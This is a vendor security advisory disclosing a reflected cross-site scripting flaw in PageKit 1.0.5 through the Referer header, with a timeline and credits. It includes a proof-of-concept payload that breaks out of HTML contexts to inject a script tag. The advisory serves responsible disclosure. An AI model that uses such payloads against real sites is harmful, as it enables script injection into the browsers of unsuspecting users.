Reflected Cross-site Scripting Vulnerability Identified in PageKit 1.0.5


Advisory by Netsparker (now Invicti)
Name: Reflected Cross-site Scripting Vulnerability in PageKit 1.0.5
Affected Software: PageKit 1.0.5
Affected Versions: 1.0.5 and possibly below
Vendor Homepage: 
Vulnerability Type: Cross-site Scripting
Severity: Important
Status: Fixed
Invicti Advisory Reference: NS-16-010

Technical Details

Proof of Concept URL for XSS vulnerability in PageKit 1.0.5:

URL: /pagekit-1.0.5-full/o.config
Parameter Name: Referer
Parameter Type: HTTP Header
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x0026F8)</scRipt>

For more information on cross-site scripting vulnerabilities, see Cross-site Scripting (XSS).

Advisory Timeline

04 Aug 2016 – First Contact
08 Aug 2016 – Vendor Replied
09 Aug 2016 – Advisory Released


Patch released by PageKit and announced here.

Credits & Authors

These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

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